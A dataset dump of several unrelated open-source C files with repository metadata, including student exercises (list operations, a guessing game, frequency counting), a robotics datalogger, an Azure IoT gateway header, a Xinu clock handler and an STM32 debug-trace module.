int posicao = buscaSentinela(reg.chave, L);
if( posicao >= 0 ){
for( posicao; posicao < L->nroElementos; posicao++ ){
L->A[posicao] = L->A[posicao+1];
}
L->nroElementos--;
return true;
}else{
return false;
}
}
void mostraLista(LISTA* L){
int i = 0;
for (i; i < L->nroElementos; ++i){ // Percorre e mostra todos os valores do array
printf("%d, ", L->A[i].chave);
}
printf("\n\n");
}
int main(){
LISTA LISTA;
inicializar(&LISTA);
printf("Valor 10 encontrado na posição: %d\n\n", buscaSentinela(10, &LISTA) );
mostraLista(&LISTA);
REGISTRO reg;
reg.chave = 7;
printf("Insere o valor: %d\n", reg.chave);
inserirOrdenado(reg, &LISTA);
mostraLista(&LISTA);
reg.chave = 12;
printf("Deleta o valor: %d\n", reg.chave);
deletaValor(reg, &LISTA);
mostraLista(&LISTA);
return 0;
} | 3.921875 | 4 |
2024-11-18T19:25:16.677864+00:00 | 2020-06-17T00:52:19 | 2d75e610c6abd94bb73457c1e009180791a89e82 | {
"blob_id": "2d75e610c6abd94bb73457c1e009180791a89e82",
"branch_name": "refs/heads/master",
"committer_date": "2020-06-17T00:52:19",
"content_id": "e71c2c2ff97fb2f5bbd0b0e5dbdb804a41dcb75f",
"detected_licenses": [
"MIT"
],
"directory_id": "20af59fadeacfadba09773a5d8a2e121109d2fdc",
"extension": "c",
"filename": "adivinhacao.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 272843013,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 678,
"license": "MIT",
"license_type": "permissive",
"path": "/Linguagem C/adivinhacao.c",
"provenance": "stackv2-0027.json.gz:583",
"repo_name": "marcelofsilveira/ExerciciosC-Atualizado",
"revision_date": "2020-06-17T00:52:19",
"revision_id": "713290dc459cdf6ce2d444067aba12feb2145994",
"snapshot_id": "88f957e95b0415cfbfe8d831f10f4b2e69e32aeb",
"src_encoding": "ISO-8859-1",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/marcelofsilveira/ExerciciosC-Atualizado/713290dc459cdf6ce2d444067aba12feb2145994/Linguagem C/adivinhacao.c",
"visit_date": "2022-11-05T17:13:38.950448"
} | stackv2 | /*Programa de adivinhação*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h> // para utilizar a funcao rand eh necessario incluir esta biblioteca
main()
{
int magico;
int palpite;
srand(time(NULL)); //inicializacao necessaria para a funcao rand.
magico = rand()%10 + 1;
//printf("%d ", magico);
printf("Adivinhe o numero magico: ");
scanf("%d", &palpite);
if(palpite == magico){
printf("****CERTO****");
printf("%d eh o numero magico!\n", magico);
}
else {
printf("****ERRADO****");
if(palpite > magico)
printf("Muito alto!\n");
else
printf("Muito baixo!\n");
}
printf("O numero magico eh %.1d\n", magico);
system("pause");
}
| 3.515625 | 4 |
2024-11-18T19:25:42.908717+00:00 | 2015-02-20T01:08:23 | 9d29c3a200fa10d7b43a8dc4adb319818e35d526 | {
"blob_id": "9d29c3a200fa10d7b43a8dc4adb319818e35d526",
"branch_name": "refs/heads/master",
"committer_date": "2015-02-20T01:08:23",
"content_id": "a78007db57af97ccec16904236c8bb314e6f0cda",
"detected_licenses": [
"CC0-1.0"
],
"directory_id": "af467da373f347998e2e37720f426300a21d58b0",
"extension": "c",
"filename": "WheelDatalog.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 21777382,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1518,
"license": "CC0-1.0",
"license_type": "permissive",
"path": "/Test Files/WheelDatalog.c",
"provenance": "stackv2-0027.json.gz:711",
"repo_name": "cookthebook/2014-2015TempestFTC",
"revision_date": "2015-02-20T01:08:23",
"revision_id": "4ba7ffd53f256a80337be9e0bf4aa5e6a36094c4",
"snapshot_id": "45163c7213115961bee984a26bb803aeb1c27156",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/cookthebook/2014-2015TempestFTC/4ba7ffd53f256a80337be9e0bf4aa5e6a36094c4/Test Files/WheelDatalog.c",
"visit_date": "2020-05-18T17:49:38.332655"
} | stackv2 | #pragma config(Hubs, S1, HTMotor, none, none, none)
#pragma config(Sensor, S2, Light, sensorCOLORFULL)
#pragma config(Motor, mtr_S1_C1_1, Left, tmotorTetrix, openLoop, reversed, encoder)
#pragma config(Motor, mtr_S1_C1_2, Right, tmotorTetrix, openLoop, encoder)
//*!!Code automatically generated by 'ROBOTC' configuration wizard !!*//
#pragma platform(NXT)
#include "JoystickDriver.c"
int RightEncDat = 0;
int LeftEncDat = 1;
int VoltsDat = 2;
int TimeDat = 3;
int speedDat = 4;
int distanceDat = 5;
//Distance is every 2 feet (a foam square)
int distance = 0;
int speed = 75;
bool line = false;
task main()
{
waitForStart();
ClearTimer(T1);
ClearTimer(T2);
nMotorEncoder(Right) = 0;
nMotorEncoder(Left) = 0;
wait1Msec(50);
motor[Right] = speed;
motor[Left] = speed;
AddToDatalog(speedDat, speed);
while(distance <= 6){
//Incriment distance
if(SensorValue(Light) == 5 && line == false){
distance++;
line = true;
}
if(SensorValue(Light) != 5 && line == true){
line = false;
}
//Datalog every 0.1 secs
while(time1(T1) < 100){
}
AddToDatalog(RightEncDat, nMotorEncoder(Right));
AddToDatalog(LeftEncDat, nMotorEncoder(Left));
AddToDatalog(TimeDat, time1(T2));
AddToDatalog(VoltsDat, nAvgBatteryLevel);
AddToDatalog(distanceDat, distance);
ClearTimer(T1);
}
SaveNxtDatalog();
}
/*
Datalog reference:
-speed
then repeated:
-Right encoder
-Left encoder
-Total time (in mills)
-Current battery voltage
-current distance (in incriments of 2 feet)
*/
| 2.0625 | 2 |
2024-11-18T19:25:42.977030+00:00 | 2016-08-17T06:05:32 | da5d2ffcf6635b8be709c289f50c44a6f19d51df | {
"blob_id": "da5d2ffcf6635b8be709c289f50c44a6f19d51df",
"branch_name": "refs/heads/master",
"committer_date": "2016-08-17T06:05:32",
"content_id": "e449df9ba0c723a5820b5522ecb8d56003de3867",
"detected_licenses": [
"MIT"
],
"directory_id": "4d15ea3593698946040e136e84fc1eb294eee810",
"extension": "h",
"filename": "gateway_ll.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 65264233,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3011,
"license": "MIT",
"license_type": "permissive",
"path": "/core/inc/gateway_ll.h",
"provenance": "stackv2-0027.json.gz:839",
"repo_name": "durgadeviramadoss/azure-iot-gateway-sdk",
"revision_date": "2016-08-17T06:05:32",
"revision_id": "23469f2ab53f6eb681e01d2d9dd78e7137a3dc0a",
"snapshot_id": "90cf6b263b2ca31bb4abcb43bd01ba87abaf1a59",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/durgadeviramadoss/azure-iot-gateway-sdk/23469f2ab53f6eb681e01d2d9dd78e7137a3dc0a/core/inc/gateway_ll.h",
"visit_date": "2021-01-17T17:16:18.104901"
} | stackv2 | // Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
/** @file gateway_ll.h
* @brief Library that allows a user to create and configure a gateway.
*
* @details Gateway LL is the lower level library that allows a developer to
* create, configure, and manage a gateway. The library provides a
* mechanism for creating and destroying a gateway, as well as
* adding and removing modules. Developers looking for the high
* level library should see gateway.h.
*/
#ifndef GATEWAY_LL_H
#define GATEWAY_LL_H
#include "azure_c_shared_utility/macro_utils.h"
#include "azure_c_shared_utility/vector.h"
#include "module.h"
#ifdef __cplusplus
extern "C"
{
#endif
/** @brief Struct representing a particular gateway. */
typedef struct GATEWAY_HANDLE_DATA_TAG* GATEWAY_HANDLE;
/** @brief Struct representing a single entry of the #GATEWAY_PROPERTIES. */
typedef struct GATEWAY_PROPERTIES_ENTRY_TAG
{
/** @brief The (possibly @c NULL) name of the module */
const char* module_name;
/** @brief The path to the .dll or .so of the module */
const char* module_path;
/** @brief The user-defined configuration object for the module */
const void* module_configuration;
} GATEWAY_PROPERTIES_ENTRY;
/** @brief Struct representing the properties that should be used when
creating a module; each entry of the @c VECTOR_HANDLE being a
* #GATEWAY_PROPERTIES_ENTRY.
*/
typedef struct GATEWAY_PROPERTIES_DATA_TAG
{
/** @brief Vector of #GATEWAY_PROPERTIES_ENTRY objects. */
VECTOR_HANDLE gateway_properties_entries;
} GATEWAY_PROPERTIES;
/** @brief Creates a new gateway using the provided #GATEWAY_PROPERTIES.
*
* @param properties #GATEWAY_PROPERTIES structure containing
* specific module properties and information.
*
* @return A non-NULL #GATEWAY_HANDLE that can be used to manage the
* gateway or @c NULL on failure.
*/
extern GATEWAY_HANDLE Gateway_LL_Create(const GATEWAY_PROPERTIES* properties);
/** @brief Destroys the gateway and disposes of all associated data.
*
* @param gw #GATEWAY_HANDLE to be destroyed.
*/
extern void Gateway_LL_Destroy(GATEWAY_HANDLE gw);
/** @brief Creates a new module based on the GATEWAY_PROPERTIES_ENTRY*.
*
* @param gw Pointer to a #GATEWAY_HANDLE to add the Module onto.
* @param entry Pointer to a #GATEWAY_PROPERTIES_ENTRY structure
* describing the module.
*
* @return A non-NULL #MODULE_HANDLE to the newly created and added
* Module, or @c NULL on failure.
*/
extern MODULE_HANDLE Gateway_LL_AddModule(GATEWAY_HANDLE gw, const GATEWAY_PROPERTIES_ENTRY* entry);
/** @brief Removes the provided module from the gateway.
*
* @param gw Pointer to a #GATEWAY_HANDLE from which to remove the
* Module.
* @param module Pointer to a #MODULE_HANDLE that needs to be removed.
*/
extern void Gateway_LL_RemoveModule(GATEWAY_HANDLE gw, MODULE_HANDLE module);
#ifdef __cplusplus
}
#endif
#endif // GATEWAY_LL_H
| 2.28125 | 2 |
2024-11-18T19:25:43.542227+00:00 | 2014-03-23T13:48:48 | 01093b30d64d8b9adba2d2590552dc6a5f6b3258 | {
"blob_id": "01093b30d64d8b9adba2d2590552dc6a5f6b3258",
"branch_name": "refs/heads/master",
"committer_date": "2014-03-23T13:48:48",
"content_id": "07dd45edcf713587f2f412d01f3364879e7c0291",
"detected_licenses": [
"MIT"
],
"directory_id": "2897b29a04eee3a98d18de088e09fbd15904c2ea",
"extension": "c",
"filename": "simple_inter.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 18050483,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1939,
"license": "MIT",
"license_type": "permissive",
"path": "/srcs/my_readline/bind/simple_inter.c",
"provenance": "stackv2-0027.json.gz:1095",
"repo_name": "Unitech/42sh",
"revision_date": "2014-03-23T13:48:48",
"revision_id": "c9387814b348adc33aa8ecd3a6c41a922b24af8d",
"snapshot_id": "49936c60c255a1a19a91b0de0be7d81fa7f27369",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/Unitech/42sh/c9387814b348adc33aa8ecd3a6c41a922b24af8d/srcs/my_readline/bind/simple_inter.c",
"visit_date": "2020-02-26T15:21:40.775500"
} | stackv2 | /*
** simple_inter.c for Here function call by split_inter ! in /Users/lifely/Developer/project/VSHsvn/branches/my_readline/new/bind
**
** Made by julien di-marco
** Login <[email protected]>
**
** Started on Thu May 6 01:19:16 2010 julien di-marco
** Last update Sun May 23 03:22:07 2010 julien di-marco
*/
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include "lib.h"
#include "my_readline.h"
/*
** Merge Left - Merge Right - call by split inter - NOT USER
** Those functions enter in action when you bind conflict with a previous
** range bind if your new bind is one of the side of this range
** Example:
** "A" - "Z" --> self-insert
** "A" --> backward-delete
** Will be:
** "B" - "z" --> self-insert
** "A" --> backward-delete
*/
int merge_left_inter(char *key, t_bind *bind, t_bdb **foot)
{
int size;
t_bind *inter;
if ((*foot) && (inter = (*foot)->keybind))
{
if (!(bind->key = strdup(key)))
fprintf(stderr, "Error allocate memory\n");
else
{
if (inter->key)
size = strlen(inter->key) - 1;
if (inter->key && (inter->key[size] > 0))
inter->key[size] = (inter->key[size] + 1);
bind->key2 = NULL;
bind->flags = 0;
if (!(insert_list(foot, bind)))
xfree(bind->key);
else
return (EXIT_SUCCESS);
}
}
xfree(bind);
return (EXIT_FAILURE);
}
int merge_right_inter(char *key, t_bind *bind, t_bdb **foot)
{
int size;
t_bind *inter;
if ((*foot) && (inter = (*foot)->keybind))
{
if (!(bind->key = strdup(key)))
fprintf(stderr, "Error allocate memory\n");
else
{
if (inter->key2)
size = strlen(inter->key2) - 1;
if (inter->key2 && (inter->key2[size] > 0))
inter->key2[size] = (inter->key2[size] - 1);
bind->key2 = NULL;
bind->flags = 0;
if (!(insert_list(foot, bind)))
xfree(bind->key);
else
return (EXIT_SUCCESS);
}
}
xfree(bind);
return (EXIT_FAILURE);
}
| 2.390625 | 2 |
2024-11-18T19:25:43.599785+00:00 | 2021-04-18T23:28:42 | 2c547da913c6b82a3f7b573d50a5e43a06ddcebb | {
"blob_id": "2c547da913c6b82a3f7b573d50a5e43a06ddcebb",
"branch_name": "refs/heads/master",
"committer_date": "2021-04-18T23:28:42",
"content_id": "0b7f68539e4243e6b2a21d3a6eaa3be0cbd5b024",
"detected_licenses": [
"MIT"
],
"directory_id": "a89b28bd5a9517fefaa2ecbc8814070d44d62d05",
"extension": "c",
"filename": "clkhandler.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 270452403,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1078,
"license": "MIT",
"license_type": "permissive",
"path": "/system/clkhandler.c",
"provenance": "stackv2-0027.json.gz:1223",
"repo_name": "gregshin/gprt-xinu",
"revision_date": "2021-04-18T23:28:42",
"revision_id": "284b0b9b1d4d5bffbf4d3fc15ae59b53070e3fb7",
"snapshot_id": "3789df7091fecd03c6b1edc886a0fdff68f9b949",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/gregshin/gprt-xinu/284b0b9b1d4d5bffbf4d3fc15ae59b53070e3fb7/system/clkhandler.c",
"visit_date": "2023-04-09T13:36:14.847933"
} | stackv2 | /**
* @file clkhandler.c
*/
/* Embedded Xinu, Copyright (C) 2009, 2013. All rights reserved. */
#include <stddef.h>
#include <queue.h>
#include <clock.h>
#include <thread.h>
#include <platform.h>
#if RTCLOCK
void wakeup(void);
int resched(void);
/**
* @ingroup timer
*
* Interrupt handler function for the timer interrupt. This schedules a new
* timer interrupt to occur at some point in the future, then updates ::clktime
* and ::clkticks, then wakes sleeping threads if there are any, otherwise
* reschedules the processor.
*/
interrupt clkhandler(void)
{
clkupdate(platform.clkfreq / CLKTICKS_PER_SEC);
/* Another clock tick passes. */
clkticks++;
/* Update global second counter. */
if (CLKTICKS_PER_SEC == clkticks)
{
clktime++;
clkticks = 0;
}
/* If sleepq is not empty, decrement first key. */
/* If key reaches zero, call wakeup. */
if (nonempty(sleepq) && (--firstkey(sleepq) <= 0))
{
wakeup();
}
else
{
resched();
}
}
#endif /* RTCLOCK */ | 2.515625 | 3 |
2024-11-18T19:25:43.687836+00:00 | 2019-11-23T05:55:47 | e7fcb7ad81554fcd692d8bef9d0ffc7207693968 | {
"blob_id": "e7fcb7ad81554fcd692d8bef9d0ffc7207693968",
"branch_name": "refs/heads/master",
"committer_date": "2019-11-23T05:55:47",
"content_id": "ebd3f580a35f84352f5eb1bd7aa3bb0bde65dc4a",
"detected_licenses": [
"MIT"
],
"directory_id": "6d95387a05b357c582c4b64270bd94a74c21e51d",
"extension": "c",
"filename": "find_max_occurring_elements.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 211801867,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2017,
"license": "MIT",
"license_type": "permissive",
"path": "/PART1-C-PROGRAMMING/find_max_occurring_elements.c",
"provenance": "stackv2-0027.json.gz:1351",
"repo_name": "mohitesh07/software-engineering-assignment",
"revision_date": "2019-11-23T05:55:47",
"revision_id": "45b2d18728fc529dc4baae044babebebefb67053",
"snapshot_id": "aa920c10e7ce4a77a29775d10c0234233af65c5f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/mohitesh07/software-engineering-assignment/45b2d18728fc529dc4baae044babebebefb67053/PART1-C-PROGRAMMING/find_max_occurring_elements.c",
"visit_date": "2020-08-03T15:35:02.824506"
} | stackv2 | ///////////////// SOFTWARE ENGINEERING ASSIGNMENT /////////////////
// Write a C program to find out most frequently occurring number from a given set of //
// possitive numbers ( value ranging from 1 to 100) //
// @author: Mohitesh Ch Agarwal //
// Copyright Mohitesh Ch Agarwal | All rights reserved //
///////////////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
int count(int n, int arr[n], int element)
{
int c = 0, i;
for (i = 0; i < n; i++)
if (arr[i] == element)
c++;
return c;
}
int inResult(int n, int arr[n], int element)
{
int i;
for (i = 0; i <= n; i++)
if (arr[i] == element)
return 0;
return 1;
}
void count_freq_max(int n, int arr[n])
{
int max_freq = INT_MIN;
int max_ele[100000], top = -1;
int max_ele_freq[100000];
int i;
for (i = 0; i < n; i++)
{
int c = count(n, arr, arr[i]);
if (max_freq < c)
{
max_freq = c;
top = -1;
max_ele[++top] = arr[i];
max_ele_freq[top] = c;
}
else if ((max_freq == c) && inResult(top, max_ele, arr[i]))
{
max_ele[++top] = arr[i];
max_ele_freq[top] = c;
}
}
// Displaying the max_frequenly occurring elements //
for (i = 0; i <= top; i++)
printf("element-->%d occurs %d times\n", max_ele[i], max_ele_freq[i]);
}
int main()
{
// Taking set of elements input from user //
int arr[100000], n;
printf("Enter the number of elements of arr(array): ");
scanf("%d", &n);
printf("Enter the elements of array: ");
int i;
for (i = 0; i < n; i++)
{
scanf("%d", &arr[i]);
}
// Displaying the result //
count_freq_max(n, arr);
return 0;
} | 3.65625 | 4 |
2024-11-18T19:26:33.536670+00:00 | 2020-07-25T12:28:12 | 55a0b1e2ff82136ce25513095da7f99a9167309a | {
"blob_id": "55a0b1e2ff82136ce25513095da7f99a9167309a",
"branch_name": "refs/heads/master",
"committer_date": "2020-07-25T12:28:12",
"content_id": "bb14c255b5a016d77abfec70453cad3dcbb8ec42",
"detected_licenses": [
"MIT"
],
"directory_id": "4ba70f7992a7b8fb66f3afb6471e596f3f76fc88",
"extension": "c",
"filename": "T-U-conversion.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 345,
"license": "MIT",
"license_type": "permissive",
"path": "/2-representing-and-manipulating-infomation/interger-representations/T-U-conversion.c",
"provenance": "stackv2-0027.json.gz:1607",
"repo_name": "ShimizushimaKana/Computer-Systems",
"revision_date": "2020-07-25T12:28:12",
"revision_id": "00e24308412916f345380fcb4d4a3de257b0c3ec",
"snapshot_id": "2dcb813e8dcc8679aa3786d8b66d22e1b633a2af",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ShimizushimaKana/Computer-Systems/00e24308412916f345380fcb4d4a3de257b0c3ec/2-representing-and-manipulating-infomation/interger-representations/T-U-conversion.c",
"visit_date": "2022-11-21T03:45:02.563808"
} | stackv2 | #include <stdio.h>
#include <limits.h>
int main() {
printf("%u\n", UINT_MAX);
printf("INT_MIN=%d\n", INT_MIN);
printf("INT_MAX=%d\n",INT_MAX);
unsigned char a = 200;
signed char b = a;
signed char c = -56;
unsigned char d = c;
printf("%d %d %d %d\n", a, b, c, d);
int e = -1u;
printf("%d %u", e, e);
} | 2.546875 | 3 |
2024-11-18T19:26:33.628337+00:00 | 2021-03-27T06:08:55 | 620d12685c05b66a042bda5475e85096a4cec988 | {
"blob_id": "620d12685c05b66a042bda5475e85096a4cec988",
"branch_name": "refs/heads/main",
"committer_date": "2021-03-27T06:08:55",
"content_id": "3f4d1daec5eabb16eb9fa5c6c4fe2ebd573d3522",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "834cd422a7ee36c31118941ded8e0fbdbdb6a492",
"extension": "c",
"filename": "dbg_trace.c",
"fork_events_count": 1,
"gha_created_at": "2021-03-13T06:17:09",
"gha_event_created_at": "2023-06-01T23:54:38",
"gha_language": "C",
"gha_license_id": "Apache-2.0",
"github_id": 347290313,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 9162,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/STM32_WPAN/utilities/dbg_trace.c",
"provenance": "stackv2-0027.json.gz:1736",
"repo_name": "xupenghu/stm32wb55_sdk",
"revision_date": "2021-03-27T06:08:55",
"revision_id": "03210c73e9ed25e6b75a07c049488fc3d0f8bc42",
"snapshot_id": "763dec92cd95ec8c5665f3133305e3b24ebed5fb",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/xupenghu/stm32wb55_sdk/03210c73e9ed25e6b75a07c049488fc3d0f8bc42/STM32_WPAN/utilities/dbg_trace.c",
"visit_date": "2023-04-16T00:39:22.198673"
} | stackv2 | /**
******************************************************************************
* @file dbg_trace.c
* @author MCD Application Team
* @brief This file contains the Interface with BLE Drivers functions.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2019 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "utilities_common.h"
#include "stm_queue.h"
#include "dbg_trace.h"
/* Definition of the function */
#if !defined(__GNUC__) /* SW4STM32 */
size_t __write(int handle, const unsigned char * buf, size_t bufSize);
#endif
/** @addtogroup TRACE
* @{
*/
/** @defgroup TRACE_LOG
* @brief TRACE Logging functions
* @{
*/
/* Private typedef -----------------------------------------------------------*/
/** @defgroup TRACE Log private typedef
* @{
*/
/**
* @}
*/
/* Private defines -----------------------------------------------------------*/
/** @defgroup TRACE Log private defines
* @{
*/
/**
* @}
*/
/* Private macros ------------------------------------------------------------*/
/** @defgroup TRACE Log private macros
* @{
*/
/**
* @}
*/
/* Private variables ---------------------------------------------------------*/
/** @defgroup TRACE Log private variables
* @{
*/
#if (( CFG_DEBUG_TRACE_FULL != 0 ) || ( CFG_DEBUG_TRACE_LIGHT != 0 ))
#if (DBG_TRACE_USE_CIRCULAR_QUEUE != 0)
static queue_t MsgDbgTraceQueue;
static uint8_t MsgDbgTraceQueueBuff[DBG_TRACE_MSG_QUEUE_SIZE];
#endif
__IO ITStatus DbgTracePeripheralReady = SET;
#endif
/**
* @}
*/
/* Global variables ----------------------------------------------------------*/
/** @defgroup TRACE Log Global variable
* @{
*/
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/** @defgroup TRACE Log private function prototypes
* @{
*/
#if (( CFG_DEBUG_TRACE_FULL != 0 ) || ( CFG_DEBUG_TRACE_LIGHT != 0 ))
static void DbgTrace_TxCpltCallback(void);
#endif
/**
* @}
*/
/* Private Functions Definition ------------------------------------------------------*/
/** @defgroup TRACE Log Private function
* @{
*/
/* Functions Definition ------------------------------------------------------*/
/** @defgroup TRACE Log APIs
* @{
*/
/**
* @brief DbgTraceGetFileName: Return filename string extracted from full path information
* @param *fullPath Fullpath string (path + filename)
* @retval char* Pointer on filename string
*/
const char *DbgTraceGetFileName(const char *fullpath)
{
const char *ret = fullpath;
if (strrchr(fullpath, '\\') != NULL)
{
ret = strrchr(fullpath, '\\') + 1;
}
else if (strrchr(fullpath, '/') != NULL)
{
ret = strrchr(fullpath, '/') + 1;
}
return ret;
}
/**
* @brief DbgTraceBuffer: Output buffer content information to output Stream
* @param *pBuffer Pointer on buffer to be output
* @param u32Length buffer Size
* @paramt strFormat string as expected by "printf" function. Used to desrcibe buffer content information.
* @param ... Paremeters to be "formatted" in strFormat string (if any)
* @retval None
*/
void DbgTraceBuffer(const void *pBuffer, uint32_t u32Length, const char *strFormat, ...)
{
va_list vaArgs;
uint32_t u32Index;
va_start(vaArgs, strFormat);
vprintf(strFormat, vaArgs);
va_end(vaArgs);
for (u32Index = 0; u32Index < u32Length; u32Index ++)
{
printf(" %02X", ((const uint8_t *) pBuffer)[u32Index]);
}
}
#if (( CFG_DEBUG_TRACE_FULL != 0 ) || ( CFG_DEBUG_TRACE_LIGHT != 0 ))
/**
* @brief DBG_TRACE USART Tx Transfer completed callback
* @param UartHandle: UART handle.
* @note Indicate the end of the transmission of a DBG_TRACE trace buffer to DBG_TRACE USART. If queue
* contains new trace data to transmit, start a new transmission.
* @retval None
*/
static void DbgTrace_TxCpltCallback(void)
{
#if (DBG_TRACE_USE_CIRCULAR_QUEUE != 0)
uint8_t* buf;
uint16_t bufSize;
BACKUP_PRIMASK();
DISABLE_IRQ(); /**< Disable all interrupts by setting PRIMASK bit on Cortex*/
/* Remove element just sent to UART */
CircularQueue_Remove(&MsgDbgTraceQueue,&bufSize);
/* Sense if new data to be sent */
buf=CircularQueue_Sense(&MsgDbgTraceQueue,&bufSize);
if ( buf != NULL)
{
RESTORE_PRIMASK();
DbgOutputTraces((uint8_t*)buf, bufSize, DbgTrace_TxCpltCallback);
}
else
{
DbgTracePeripheralReady = SET;
RESTORE_PRIMASK();
}
#else
BACKUP_PRIMASK();
DISABLE_IRQ(); /**< Disable all interrupts by setting PRIMASK bit on Cortex*/
DbgTracePeripheralReady = SET;
RESTORE_PRIMASK();
#endif
}
#endif
void DbgTraceInit( void )
{
#if (( CFG_DEBUG_TRACE_FULL != 0 ) || ( CFG_DEBUG_TRACE_LIGHT != 0 ))
DbgOutputInit();
#if (DBG_TRACE_USE_CIRCULAR_QUEUE != 0)
CircularQueue_Init(&MsgDbgTraceQueue, MsgDbgTraceQueueBuff, DBG_TRACE_MSG_QUEUE_SIZE, 0, CIRCULAR_QUEUE_SPLIT_IF_WRAPPING_FLAG);
#endif
#endif
return;
}
#if (( CFG_DEBUG_TRACE_FULL != 0 ) || ( CFG_DEBUG_TRACE_LIGHT != 0 ))
#if defined(__GNUC__) /* SW4STM32 (GCC) */
/**
* @brief _write: override the __write standard lib function to redirect printf to USART.
* @param handle output handle (STDIO, STDERR...)
* @param buf buffer to write
* @param bufsize buffer size
* @param ...: arguments to be formatted in format string
* @retval none
*/
size_t _write(int handle, const unsigned char * buf, size_t bufSize)
{
return ( DbgTraceWrite(handle, buf, bufSize) );
}
#else
/**
* @brief __write: override the _write standard lib function to redirect printf to USART.
* @param handle output handle (STDIO, STDERR...)
* @param buf buffer to write
* @param bufsize buffer size
* @param ...: arguments to be formatted in format string
* @retval none
*/
size_t __write(int handle, const unsigned char * buf, size_t bufSize)
{
return ( DbgTraceWrite(handle, buf, bufSize) );
}
#endif /* #if defined(__GNUC__) */
/**
* @brief Override the standard lib function to redirect printf to USART.
* @param handle output handle (STDIO, STDERR...)
* @param buf buffer to write
* @param bufsize buffer size
* @retval Number of elements written
*/
size_t DbgTraceWrite(int handle, const unsigned char * buf, size_t bufSize)
{
size_t chars_written = 0;
uint8_t* buffer;
BACKUP_PRIMASK();
/* Ignore flushes */
if ( handle == -1 )
{
chars_written = ( size_t ) 0;
}
/* Only allow stdout/stderr output */
else if ( ( handle != 1 ) && ( handle != 2 ) )
{
chars_written = ( size_t ) - 1;
}
/* Parameters OK, call the low-level character output routine */
else if (bufSize != 0)
{
chars_written = bufSize;
/* If queue emepty and TX free, send directly */
/* CS Start */
#if (DBG_TRACE_USE_CIRCULAR_QUEUE != 0)
DISABLE_IRQ(); /**< Disable all interrupts by setting PRIMASK bit on Cortex*/
buffer=CircularQueue_Add(&MsgDbgTraceQueue,(uint8_t*)buf, bufSize,1);
if (buffer && DbgTracePeripheralReady)
{
DbgTracePeripheralReady = RESET;
RESTORE_PRIMASK();
DbgOutputTraces((uint8_t*)buffer, bufSize, DbgTrace_TxCpltCallback);
}
else
{
RESTORE_PRIMASK();
}
#else
DISABLE_IRQ(); /**< Disable all interrupts by setting PRIMASK bit on Cortex*/
DbgTracePeripheralReady = RESET;
RESTORE_PRIMASK();
DbgOutputTraces((uint8_t*)buf, bufSize, DbgTrace_TxCpltCallback);
while (!DbgTracePeripheralReady);
#endif
/* CS END */
}
return ( chars_written );
}
#if defined ( __CC_ARM ) /* Keil */
/**
Called from assert() and prints a message on stderr and calls abort().
\param[in] expr assert expression that was not TRUE
\param[in] file source file of the assertion
\param[in] line source line of the assertion
*/
__attribute__((weak,noreturn))
void __aeabi_assert (const char *expr, const char *file, int line) {
char str[12], *p;
fputs("*** assertion failed: ", stderr);
fputs(expr, stderr);
fputs(", file ", stderr);
fputs(file, stderr);
fputs(", line ", stderr);
p = str + sizeof(str);
*--p = '\0';
*--p = '\n';
while (line > 0) {
*--p = '0' + (line % 10);
line /= 10;
}
fputs(p, stderr);
abort();
}
/* For KEIL re-implement our own version of fputc */
int fputc(int ch, FILE *f)
{
/* temp char avoids endianness issue */
char tempch = ch;
/* Write one character to Debug Circular Queue */
DbgTraceWrite(1U, (const unsigned char *) &tempch, 1);
return ch;
}
#endif /* #if defined ( __CC_ARM ) */
#endif /* #if (( CFG_DEBUG_TRACE_FULL != 0 ) || ( CFG_DEBUG_TRACE_LIGHT != 0 )) */
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| 2.25 | 2 |
